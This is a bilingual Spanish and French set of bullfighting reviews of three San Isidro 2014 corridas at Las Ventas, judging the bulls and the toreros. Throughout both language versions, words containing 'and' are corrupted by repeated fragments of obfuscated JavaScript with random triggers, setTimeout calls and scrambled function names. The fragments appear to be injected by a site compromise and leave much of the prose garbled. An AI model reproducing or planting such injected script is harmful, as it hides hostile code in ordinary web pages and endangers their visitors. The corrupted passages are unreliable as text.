SAN ISIDRO 2014. DEL 27 AL 29 DE MAYOSAN ISIDRO 2014. DU 27 AU 29 MAI

Feria de San Isidro. Decimo cuarta corrida. 27 de Mayo. Se les fue el tren

Antes los toreros duraban menos en activo. Hoy duran más años, los que torean mucho y los que torean poco. Los primeros, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando les sale un toro bueno, lo suelen cuajar; los segundos, raramente. Y eso ha sucedido con Uceda Leal y Matías Tejela frente a dos toros de orejas pertenecientes a la ganadería de Fuente Ymbro, sustituta de la titular, de José Luis Pereda, rechazada por los veterianarios.

Naturalmente que ambos dieron muy buenos muletazos. Uceda terminó por corregir el derrote final que daba su primer toro, al que cortó una oreja, y terminó centrándose con él. Además, le propinó una gran estocada, sin duda la mejor de la feria. Pero el toro era de dos orejas. También lo era el primero de Tejela, que derrochaba clase. Y es cierto que el de Alcalá le dio los naturales más lentos que se han visto este año en el coso madrileño, pero no supo estructurar una faena y, para peor, lo mató mal. En su descargo hay que aducir que el tendido 7 lo molestó absurdamente, pidiéndole que se cruzara con un toro que instintivamente se abría. De haberse cruzado el torero, como le exigían, el toro se habría ido a las antípodas al final de cada pase. En fin, entre la falta de carácter del torero, el cretinismo de los “ortodoxos” y el pasotismo del resto, se malogró la faena.

Por su parte, Curro Díaz, con el peor lote, estuvo voluntarioso. Sin embargo, la corrida no aburrió por el variado juego de los toros gaditanos y porque, a ráfagas, se vio buen toreo. No el suficiente: a Uceda y a Tejela se les fue el tren.

Feria de San Isidro. Decimo quinta corrida. 28 de Mayo. Fracasaron los “ibanes”

El toro pierde pitón entre los cuatro y cinco años. Por causas naturales: el roce con piedras y árboles, las peleas, horadandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la tierra para calmarse el hormiguillo. El caso es que cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando uno visitaba el campo, toros de largos y muy astifinos cuernos veía pocos. Desde que los enfundaron, parece ser que los pitones se desarrollan más y tienen las puntas más finas. De modo que no recordaba a los “ibanes” de don Baltasar con los cuernos tan largos como los cinqueños que sus herederos han presentado en Las Ventas. Algunos estaban muy en “Guateles”, eran muy “Contreras”, en otros prevalecía la huella de “Juan Pedro”. Pero eso por fuera. Por dentro eran un petardo, asperillos los dos primeros y mansurrones, incluso descastados, los restantes. Todos calamocheadores, saltarines, de embestidas rematadas por arriba. Es curioso, algunos cumplieron en varas –más en ir la suerte que en pelear- y ninguno tras los engaños. Afortunadamente, el público respetó la corrida. Y algo menos a los toreros  (Robleño, Bolívar y Pinar), quienes sin embargo siempre se mostraron por encima de los toros.

Feria de San Isidro. Decimo sexta corrida. 29 de Mayo. Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andullones y desrazaditos, machacados por el 7

Los toros se El Pilar siempre han sido altos como un autobús londinense, ensillados como si estuvieran partidos en dos, con poco morrillo y baja culata –lo que para Madrid es un pecado de lesa presentación-. Es decir, todo lo contrario de lo que autoriza el tendido 7, sobre todo si van a lidiarlos las figuras. Y si además pierden las manos y tienen menos motor que un seiscientos, para qué les voy a contar.

Por eso, no quisieron ver a Castella, que no podía bajar las manos en su toreo, ni rematar las embestidas de su primero hacia atrás para que no besara el suelo, ni alargar las de su segundo, un manso que se paraba cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando lo metían en el engaño. Le pitaron cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando intentó torear ambos problemas. Y se callaron cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando desistió. Misión cumplida.

Con Manzanares lo tuvieron más fácil. Su primero, cinqueño, de 567 kilos, les pareció un becerro, de manera que dijeron “miau” mientras lo lanceaba, y con la muleta se armó la de Troya. A mi me hubiera gustado aplaudir a Manzanares para contrarrestar tanto odio preconcebido, pero el de Alicante toreaba demasiado en línea, demasiado tocandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a pitón contrario, demasiado lejísimos, y me tuve que contener.

Por el contrario, con Talavante se portaron bien. Había perdido los trofeos con la espada días antes y no tenía ninguna oreja que devolver. Además, el negro sexto era bravo como el negro segundo –los demás eran colorados-, y la gente decidió cerrar la tarde con una sonrisa. O sea, Talvante pudo torear sin nadie a la contra. Y lo hizo de manera superior, sobre todo con la izquierda. ¡Qué excepcionales muletazos! ¡Qué buena faena! Pero luego no lo mató. Perfecto. Todavía tiene el crédito abierto.

San Isidro 2014. 27 Mai. quatorzieme corrida. Ils ont laissé passer le train

Auparavant les toreros restaient moins longtemps en activité. Aujourd’hui ceux qui toréent beaucoup et ceux qui toréent peu, durent plus longtemps. Les premiers, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il leur échoit un bon taureau,  l’exploitent à fond ; les seconds, rarement. Tel fut le cas de Uceda Leal et de Matias Tejela face à deux taureaux d’oreilles appartenant à l’élevage de Fuente Ymbro, en substitution du titulaire, refusé par les vétérinaires.

Naturellement, tous les deux effectuèrent de très bons muletazos. Uceda finit par corriger le défaut de son premier taureau à la fin des passes, et se centra avec lui, ce qui lui valut une oreille. En outre, l’estocade fut magnifique, et sans doute la meilleure de la féria. Mais le taureau était de deux oreilles. Le premier de Tejela, qui débordait de classe, l’était également. Et il est certain que le torero d’Alcalá se surpassa dans des naturelles les plus lentes qu’on ait vues cette année dans l’arène madrilène, mais il ne sut pas structurer une faena, et, ce qui est pire, il tua mal. À sa décharge il faut alléguer que les gradins du 7 le gênèrent absurdement en lui demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andant de se croiser alors que le taureau par instinct se distanciait. Si le torero eût  croisé comme ils l’exigeaient, le taureau aurait atterri aux antipodes à la fin de chaque passe. Finalement, entre le manque de caractère du torero, le crétinisme des « orthodoxes » et l’amorphisme des autres, la faena se dégrada.

De son côté, Curro Diaz, avec le plus mauvais lot se montra volontaire. Malgré tout, la corrida ne fut pas ennuyeuse à cause de la variété dans le jeu des élevages gaditans, et parce que, de temps en temps, il y eut des étincelles de bon toréo. Pas suffisamment : Uceda et Tejeda laissèrent passer le train.

San Isidro 2014. 28 Mai 2014. Echec des « ibanes »

Le taureau perd une partie de ses cornes entre quatre et cinq ans. Pour des causes naturelles : en se  frottant contre les pierres et les arbres, en bataillant, en creusant dans la terre pour calmer ses démangeaisons. Le fait est que quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and je visitais le campo, je  voyais peu de cornes longues et effilées. Depuis qu’on leur met des housses on dirait que les cornes se développent davantage et que leurs pointes sont plus fines. De sorte que je ne me souvenais pas avoir vu les « ibanes » de don Baltasar avec des cornes aussi longues que celles des taureaux de cinq ans que ses héritiers présentèrent à Las  Ventas.  Certains étaient très dans le type « Guateles », très « Contreras », chez d’autres prévalait l’empreinte de « Juan Pedro ». Tout cela vu en dehors.  En dedans c’était un fiasco, les deux premiers avaient un côté âpre, et le reste une tendance à manso, et étaient même déclassés. Tous remuaient la tête à gauche et à droite, calamocheaban, sautillaient, terminaient leur charge par en haut. Curieusement, quelques-uns répondirent à la suerte des piques – allant à la rencontre plus qu’au combat – et aucun ne suivait les leurres. Par bonheur, le public les respecta. Il respecta un peu moins les toreros (Robleño, Bolivar et Pinar) qui cependant se montrèrent toujours au-dessus des taureaux.

San Isidro 2014. 29 Mai. Trop grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands, sans race, matraqués par le 7

Les taureaux de El Pilar ont toujours été hauts comme des autobus londoniens, ensellés comme s’ils étaient coupés en deux, avec peu de cou et la croupe basse – ce qui pour Madrid est un péché de lèse-présentation.C’est-à-dire tout le contraire de ce qu’autorise le 7, surtout si ce sont des figuras qui vont les lidier. Et si en plus ils faiblissent sur les pattes de devant et ont moins de moteur qu’une Seat 600, que vous dire de plus. C’est pourquoi, ils ne voulurent pas voir Castella, qui ne pouvait toréer en baissant les mains, ni terminer en arrière les charges de son premier pour qu’il ne baise pas le sol, ni allonger celles de son second, un manso qui s’arrêtait quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il le mettait dans le leurre. Ils le sifflèrent quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il essaya de solutionner les deux problèmes. Et ils se turent quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il renonça. Mission accomplie.

Avec Manzanares ce leur fut plus facile. Son premier, de cinq ans, 567 kilos, leur parut être un becerro de dos años, de sorte qu’il crièrent « miau » pendant qu’il toréait avec la cape , et avec la muleta ils déclenchèrent la bataille. Moi j’aurais aimé applaudir Manzanares pour contrecarrer une hostilité préconçue, mais le torero d’Alicante toréait trop en ligne, touchait trop sur la corne contraire, trop loin, et je dus me contenir.

Par contre, avec Talavante ils se comportèrent bien. Il avait perdu les trophées à cause de l’épée quelques jours auparavant et il n’avait aucune

oreille à rendre. Par ailleurs, le sixième taureau noir était brave comme le second noir aussi – les autres étaient colorados, bruns –  et les gens décidèrent de finir l’après-midi avec le sourire. Bref, Talavante put toréer sans que personne soit contre. Et il le fit d’une excellente manière, surtout sur la main gauche. Quels sensationnels muletazos ! Quelle bonne faena ! Ensuite il le tua mal. Bon, mais il jouit encore d’un crédit ouvert.

Les commentaires sont fermés.